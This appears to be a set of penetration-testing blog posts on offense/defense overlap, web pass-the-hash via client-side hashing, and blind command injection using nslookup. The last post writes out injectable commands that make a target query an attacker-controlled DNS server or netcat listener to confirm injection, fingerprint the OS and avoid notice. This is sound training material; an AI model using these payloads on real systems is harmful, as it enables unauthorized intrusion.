Also, this concept is not a mere restatement of “The best defense is a good offense.”  That’s also true, but it tends to focus on kicking the crap out of your adversaries so you don’t have to defend against their advances.  This is different.  We’re talking about a two-way symmetry, including how offensive skills can be used defensively, defensive skills can be used offensively, and how these skills merge.

Also, please note that I’m not saying that offense and defense always merge, or that they are always the same thing.  But, I think the techniques behind each have more in common than is typically observed.

When I first ran the idea by my friends, some of them jumped on board immediately as we started brainstorming through various examples.  Others opposed the idea at first, but as I cited more examples, they became more convinced.  A few even told me that they found the convergence and symmetry rather beautiful, and may be useful in re-applying offensive or defensive techniques in new contexts that we haven’t considered before.

In addition to the examples cited above (mobile app and image analysis, malware/software static and dynamic analysis, offensive forensics, and offensive counter measures), to illustrate this convergence further, consider these examples:

  • Endpoint security suites: Have you ever pondered what these tools really are?  With their integrated anti-virus, personal firewall, and host-based Intrusion Prevention Systems, they operate at a fairly low-level of most operating systems, hooking all kinds of system calls so that administrators can maintain control of the machine.  Wait… that’s a rootkit!  The only difference between an endpoint security suite and most rootkits is the level of functionality and who controls it: good guy administrators or bad guys.  So, we’ve got a multi-billion dollar segment of the infosec industry that is actually built on selling commercial rootkits, also known as endpoint security suites.
  • Botnet infrastructure administration: As bad guys build ever-larger botnets for evil, crime, and a good dose of mayhem, they are hitting some stumbling blocks in managing hundreds of thousands to millions of machines.  These are the same stumbling blocks that good guys faced in large enterprises: How can you properly manage and maintain control over vast numbers of systems?  You build a rock solid infrastructure and robust admin communication capabilities, that’s what you do.  Botnet operators are certainly amping up the sophistication of their remote, distributed administration capabilities.  Further, they need to protect their administrative servers to prevent them from being compromised by investigators.  Extreme hardening, detailed analysis, and DNS-fast-flux techniques all come in handy to bad guys to maintain control of their botnets.  So, we’ve got an offensive technology (botnets) using defensive admin capabilities at ginormous scales.
  • Protecting command and control channels of implanted malware assets: Forget widespread botnets for a while.  An attacker may spend days, weeks, months, or more getting a piece of malware implanted in a target environment infecting just a small number of Very Important Computers (VICs, anyone?).  I dunno, maybe they are used to operate industrial control systems or centrifuges or something.  Once the malware is implanted, that attacker wants to defend that asset and its communication channel in the target environment, or else all the work of infiltrating it in the first place has gone to waste.  The communications channel itself needs to be subtle and certainly encrypted, lest the attackers tip their hand to defenders.  Again, we see defensive techniques used to protect an offensive maneuver.
  • Capture-the-Flag games: I am an avid CtF player, and enjoy offensive, defensive, and analytic challenges.  I’ve observed that even in traditionally defensive games which explicitly prohibit counter attack, sometimes offensive techniques can be helpful in maintaining control of systems participants must defend (without violating the rules of such defensive games).  For example, at the amazing Cyber Defense eXercise (CDX) challenge sponsored by the NSA for the various military academies in the US, blue teams are required to prevent, detect, and respond to attacks by the red team against an infrastructure the blue team builds.  Some of these blue teams have used traditionally offensive techniques (such as deployment of Metasploit’s Meterpreter) on their own guarded systems to help give them control over the machines so that they can detect and eradicate the red team’s presence.  Again, here we see a traditionally offensive tool used for a defensive purpose.
  • CyberCity Missions: I have the honor of working with a team that is building NetWars CyberCity, a cyber range in the form of a miniature, 6’ x 8’ city with various real-world assets such as a power grid (complete with SCADA systems), water reservoir (with Human Machine Interfaces), traffic light system, railroad (again SCADA controlled), and more.  CyberCity is designed to help show cyber warriors, their leadership, and military planners that computer attacks and defenses can have kinetic impact: moving things, breaking them, or even destroying them. Various CyberCity missions challenge participants to prevent terrorist bad guys from wreaking physical havoc in the city through computer attack.  For example, we have a mission in which bad guys have hacked into the power grid to cause a blackout.  What’s more, these same bad guys have reconfigured utility company computers so that their normal operators cannot login to them to turn the lights on.  Cyber warriors must hack into the utility with the goal of turning lights on: offensive techniques to restore power, thus achieving a defensive goal.  In another scenario, cyber warriors must take over a rocket launcher so that they can redirect its aim from its current target (the commercial district of CyberCity) and have it fire harmlessly over the horizon (all captured in real-time video, natch).  In yet another mission, terrorists have loaded a radiological weapon on a train and are threatening to detonate it in the residential quadrant of the city.  Cyber warriors must take over the train and stop it or derail it.  In many (but not all) CyberCity missions, we see how traditionally offensive tactics can achieve significantly defensive goals.
  • The Wonderful Psexec: As we’ve written recently on this blog, psexec is a great tool for administering Windows environments, as it gives admins the ability to run arbitrary commands on fully patched remote Windows machines.  But, bad guys use this same tool for the same reasons good guys do: it is free, flexible, powerful, and anti-virus tools tend not to detect it given its widespread use by good guys for admin.  A tool used for administration becomes an attack tool, and in the process helps evade detection by yet other defensive tools.  The intertwining of attack and defense grows ever more complex.

I’m sure you can think of tons of other examples beyond those described above.  Perhaps some of your examples may actually open new avenues for interesting work and research!   Try to think of some traditionally defensive techniques that can be used in an offensive fashion, and brainstorm how some offensive techniques can be used defensively.  Feel free to share your ideas in the comments below.

Thanks for reading!

–Ed Skoudis.

P.S. I’ll be doing a presentation next week at the SOURCE Boston 2013 conference in, well, Boston.  I’m very excited about the conference as a whole, with some great speakers on a vast number of topics across a broad spectrum of ideas and technologies.  I’m presenting a new talk I’ve just completed called “Kinetic Pwnage: Obliterating the Line Between Computers and the Physical World.”  Yeah, it’s got a lot of CyberCity lessons learned stuff in it.  :)

Also, if you are interested in the arts of offense and defense, and how the two influence and impact each other, you may want to check out my SANS Security 504 course on hacker attacks and incident handling.  I’m really looking forward to teaching it at SANS San Diego in May!

Pass-the-Hash Web Style

[Editor’s Note: My goodness, there are a lot of ways to get authentication wrong in the web application world.  In this article, my esteemed pants-wearing colleague, Tim Medin, describes a couple of problems we frequently find in web application penetration testing, and how to operationalize attacking them in your pen test projects.  –Ed.]

We all know about the  Pass-the-Hash  technique as it relates to Windows systems, but what about on the web? No, I don’t mean Windows web apps either. I’m talking about a different kind of pass-the-hash, one where the web app developer congratulated himself with an ingenious security feature, but almost completely missed the goal in securing the application’s authentication.

Let’s start off by looking at the normal flow for web app authentication:

  1. Present authentication form to user
  2. User enters credentials, for example: timmedin/l0ngPassw0rd!
  3. User submits credentials
  4. Server receives credentials – timmedin/l0ngPassw0rd!
  5. Server hashes password – d4b7e94d08729a3ebfac1e54406f7a00
  6. Server compares username (timmedin) and hash (d4b7e94d08729a3ebfac1e54406f7a00) with stored versions

Step 5 is important here, as the password that the user entered is not stored in the database. If an attacker is able to dump the database, he would not have clear text credentials for each user (cracking is the next step). To make things even more difficult to crack, the developer could utilize a salt in steps 5 and 6.  Of course, if step 3 happens over a non-encrypted transport mechanism, then an attacker can see the credentials and reuse them. This reuse allows the attacker to effectively become the victim and access portions of the web application that he was not supposed to access.

Of course, the answer to protect the credentials (step 3) is to use transport encryption (TLS/SSL) to make sure that an attacker can’t see the credentials. We have all heard the arguments against TLS and certs (cpu hit, management pain, etc.) so some developers come up with a (seemingly) brilliant idea to hide the password and thereby fix the problem without needing TLS.  Check it out:

Non-TLS, supposedly “safe” (but not really) authentication process:

  1. Present authentication form to user
  2. User enters credentials – timmedin/l0ngPassw0rd!
  3. User submits credentials
  4. Browser intercepts submission, hashes password – timmedin/d4b7e94d08729a3ebfac1e54406f7a00
  5. Server receives credentials – timmedin/d4b7e94d08729a3ebfac1e54406f7a00
  6. Server compares username (timmedin) and hash (d4b7e94d08729a3ebfac1e54406f7a00) with stored versions

Do you see the problems (plural) here? If not, give it a moment. If you still don’t, do not worry, most people miss these issues, but they are a severe security problem.

Problem 1:
The biggest difference between these two processes is that the developer moved the hashing from the server to the client. This means that the password (l0ngPass0rd!) is not sent across the wire in clear text (yeah!). The problem is, this hash is now the clear text authentication mechanism (boo!). We don’t need the original password for anything. All we need to do is reuse this hash (our new password) to authenticate to the site.  It’s pass-the-hash alright, but entirely on the web.  If your authentication mechanism can be satisfied with only the hash (and not the password from which the hash is derived), the hash is effectively a password for your system.

Problem 2:
The second issue stems from the first. The “new password” (a.k.a., the hash) is stored directly in the database. Some web app developers think: “Why would you need to hash a hash? It is already secure, right?” Wrong. If an attacker can dump the database, he has a clear text authentication mechanism for every user on your application. Oops!  The only (slightly) good news here is that the attacker who compromises your database to snag the hashes will still have to crack the passwords to access all of the other applications your users have foolishly manually sync’ed their passwords with.

Remember, the hash can be used in its unaltered form to authenticate us to the web app, effectively behaving as a password. That means this new value needs to be protected. To properly secure the “new password” (a.k.a., the hash), it needs to be salted and hashed (again). The hash protects it from being extracted in the clear and then passed, and the salt neuters rainbow tables and drives up the complexity of a cracking attack against multiple accounts with different salts.

Problem 3:
Some people think they are secure because they believe they have solved the password security issues of transmitting and storing a password in the clear. Instead, they are merely transmitting and storing a hash… in the clear.  They may argue (quite vehemently) that they no longer need TLS. This false sense of security can be quite painful, or deadly, in the case of medical apps (where I’ve seen this issue most recently).

Solution:
The right (and realistic) way to do this properly is to implement TLS and HTTP Strict Transport Security (HSTS), along with salted password representations stored at the server or back-end database. TLS will protect the credentials on the wire. HSTS tells the client to use TLS on all subsequent visits to the site. Of course, there is a window of vulnerability for SSL Stripping on the first visit, but that makes the attack window smaller.

Integrating the Attack into your Penetration Tests:
This attack is pretty straight forward. There are multiple ways to do it, but IMHO this way is the easiest. To get started, you need a valid hash (from the database or sniffing), an interception proxy (such as Burp or ZAP), and your favorite browser. Setup your browser to use the proxy, then browse to the site. Enter the username and any old password. Hit the submit button and let JavaScript do its magic. Your proxy should catch the authentication form, allowing you to replace the hash and send the credentials on their merry way. After that, you should have access to the web app as the user whose username and hash you’ve supplied. Enjoy!

One word of warning: if you find this kind of issue in a pen test, prepare for a battle when you report on it to target system personnel and web application developers. Every time I’ve found it, the developers were quite vehement that this hash mechanism safely protected the password and didn’t require TLS or other protections. You need to carefully explain the concerns, and might want to rely on the steps listed above to describe them.  Good luck!

Join me for SEC560: Network Penetration Testing and Ethical Hacking at SANS Boston 2013!  Boston, MA   Monday, Aug 5 – Saturday, Aug 10, 2013

–Tim Medin
Counter Hack

Command Injection Tips: Leveraging Command-line Kung Fu with nslookup

[Editor’s Note: Tom Heffron provides some really cool tips for leveraging nslookup in web app command-injection attacks.  His ideas for using environment variables is pretty nifty, and his point about how to launch this so that it doesn’t require an authoritative DNS server is great.  –Ed.]

When I took the recent SANS SEC 560 vLive course (yes, with Smell-O-Vision!) in January and February, I was super pumped to study the Pen Testing Arts under Sensei Skoudis and Sensei Medin. The last half of Day 5 focused on web app attacks (including hands-on exercises for XSRF, XSS, SQLi, and command injection).  I took a particular interest in the command injection portion of the class, thinking about how to mix in a little command-line kung fu with nslookup, so that a pen tester may actually gather more information about the target environment in a flexible fashion.

Sometimes when I’m working at home, I like to pretend that I never read a particular paragraph in Tim Medin’s earlier post  on this blog <<shiver>> on pillaging iOS images for useful data. But, I’ll expand on his scenario of Department X and evil Dr. Loki. (Emphatically noted that I’ll be fully dressed in normal clothes – not in tights or a cape!)

In our scenario illustrating my approach, Department X was successful in capturing evil Dr. Loki and keeping him from acquiring large quantities of trout and <redacted> pizza. (Yay!) Dr. Loki is now being held in solitary confinement at the Conglomo State Prison. Unfortunately, the warden allows prison guards to perform DNS lookups for inmates. (Work with me – – it’s not my super-hero fantasy!) Little do the authorities know that this will allow Dr. Loki to use the prison guards to communicate with his evil minions!

Now, using their favorite method of blind command injection, crafty pen testers might choose to invoke ping on the target as it’s rather universal for all operating systems. However, it has the side effect of behaving slightly differently on different operating systems and could leave a process running on the system. Also, a well-informed network admin would likely block ping from an internal production database or web server directly to the Internet. An additional pitfall is that continuously blocked ping requests may show up in firewall logs or even trigger an IDS alert. In the case of blocked ping, the pen tester may have successfully initiated the blind command injection, but does not know it… and worse yet, that pen tester may have gotten noticed by careful sysadmins or scrupulous security personnel.

1) Enter nslookup

While a well-insulated production server may not have direct access to the Internet, the fact that DNS is distributed will allow the A record query to ripple from server to server until it reaches one that does have the needed access. A simple command like the following will work (you’d inject the following into the fields of the web app):

nslookup minions-of-loki.no-minions.here

If the command injection is successful, it will, by default, traverse from target host, to internal DNS server, to external DNS server, then along the standard pathway on the Internet. A pen tester having access to the authoritative DNS for “no-minions.here” could sniff for this traffic and see that the command injection was successful. Even though the request was not directly from the target host, we know our command injection was successful because it was initiated by the target host.  We could even put a very specific identifier string in the first portion of the domain name to ensure that it is our injected data that is triggering the lookup and to differentiate input fields we are testing for command injection, such as field123-minions-of-loki.no-minions.here.

If the command injection is not successful, then the pen tester can be confident that: 1) it is not due to different behavior between Windows and UNIX/Linux; and 2) there are not any processes left running that leave evidence of an attempted exploit (nslookup simply completes or times out and dies).  Nslookup For The Win (over ping) in command injection.  But, this is just scratching the surface.  Let’s make this baby sing.

2) Leveraging your command-line kung fu

While the basic form of the nslookup command is the same for Windows and UNIX/Linux, ninja pen testers can then turn to different interpretations of shell variables and use this to their advantage while passing options to the nslookup command. The identifier %os% means nothing to UNIX/Linux but will force a Windows machine to translate that shell variable into the core OS type (in most cases, it will be the string ‘Windows_NT’). Using the single command-line:

nslookup %os%.no-minions.here

will force the different operating system behaviors to be at a point that is much more useful to us. On a Windows system, the resulting A record query will be for:

Windows_NT.no-minions.here

and, on UNIX/Linux there will be no translation, so the resulting A record query will be for:

%os%.no-minions.here

Fear not, my fellow pen testers, the acceptance of Unicode characters into the DNS structure allows these unusual characters to traverse the Internet without error. (RFC 2044).

Of course, the %os% value itself on Windows requires a shell to be running to expand that variable into its value.  The web app with a command injection flaw may be launching a shell, or it may not (and instead, it just blindly runs whatever command we enter, shell-less).  If that is the case, you could inject:

cmd.exe /c “nslookup %os%.no-minions.here”

This launches a shell to run the nslookup command.  That shell can now expand the %os% variable to its value on Windows.

Back at our authoritative DNS server for “no-minions.here,” we sniff the network to view the query coming in. Seeing ‘Windows_NT’ as the host indicates our target is any one of the currently-supported Microsoft OS family, and seeing ‘%os%’ as the host means our target is likely in the UNIX/Linux family. Now, you can apply the proper tool set when attempting further penetration testing of the target. Keep in mind that your authoritative DNS server does not need to reply with a valid address for either request because “non-existent host” is a valid response to a successful A record query. Heck, as we’ll see, the DNS host doesn’t even need to respond at all…

3) Apply additional stealth

So far, we’ve applied the example where the pen tester has access to the authoritative name server for the domain that the target host is querying (“no-minions.here” in our case). But a closer look at the nslookup command reveals an additional parameter which can be very helpful. Again, this form is the same across nslookup in both Windows and UNIX/Linux. Adding a second parameter to nslookup tells the target host which DNS server it should query for the A record:

nslookup %os%.no-minions.here [server-to-query]

Whether the ‘server-to-query’ parameter is a host on the Internet or a compromised internal machine, simply opening up a netcat listener on UDP port 53 on that host will provide the information we need about the target host. The beauty here is that you don’t need to have an authoritative DNS server for this approach to work.  And, using Netcat to listen on UDP, you don’t even have to sniff for the request.  You simply tell nslookup where to send its query (a place where you are waiting with Netcat or sniffing for requests)!  Let’s say you have compromised a Linux host in the target environment with the IP address of 10.10.10.20.  On that machine, you could run:

[on pwned box] # nc -nu -l 53

[on target web application host through command injection] nslookup %os%.no-minions.here 10.10.10.20

Once netcat shows the inbound request from the target host and the unique string indicating whether it is a Windows or UNIX/Linux host, the pen tester can simply stop netcat and move onto deeper command injection. The process will simply time out on the target host and die gracefully.  No response is necessary.

If all of the above are successful, the crafty pen tester has a technique that:

  • Will likely not be noticed by administrators.
  • Leverages the target host’s own OS to provide information about its OS type.
  • Verifies the target host has outbound connectivity to the attacker either directly or indirectly through outbound DNS lookups (a very effective covert signaling channel with tools such as Ron Bowes’ DNScat).
  • Verifies the target host successfully executes command injection.
  • Leverages the target environment’s own infrastructure to verify command execution.
  • Eliminates the risk of leaving orphaned ping processes running on the target host.
  • Doesn’t require the pen tester to have an authoritative DNS server to receive the request.

Enjoy!

— Tom Heffron
Penetration Tester